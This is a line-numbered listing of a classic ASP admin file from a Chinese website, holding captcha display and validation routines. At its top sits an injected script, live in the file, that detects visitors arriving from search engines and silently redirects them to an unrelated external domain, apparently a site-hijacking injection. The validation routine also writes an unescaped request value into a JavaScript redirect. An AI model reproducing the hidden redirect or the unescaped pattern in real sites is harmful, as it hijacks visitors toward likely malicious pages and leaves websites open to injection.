d:\wwwroot\wuchunhua\admin\info.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
002:
'以下为常用过程
003:
public sub GetCode()
004:
response.write "<img src=""getcode.asp"" alt= ""验证码,看不清楚?请点击刷新验证码"" style=""cursor : pointer;height : 20px;"" onclick=""this.src='getcode.asp'""/> "
005:
end sub
006:
public sub CodeIsTrue(b)
007:
if CStr(Session("GetCode"))<>cstr(Trim(Request("Code"))) then
008:
randomize
009:
Session("GetCode")=rnd()
010:
if b="" then
011:
response.write "<script language=JavaScript>" & chr(13) & "alert('验证码错误，请刷新页面后重新输入！');" & "history.back()" & "</script>"
012:
else
013:
response.write "<script language=JavaScript>" & chr(13) & "alert('验证码错误，请重新输入！');"&"window.location.href = '"&b&"'"&" </script>"
014:
end if
015:
Response.End
016:
end if
017:
end sub
018:
%
>
019:
020: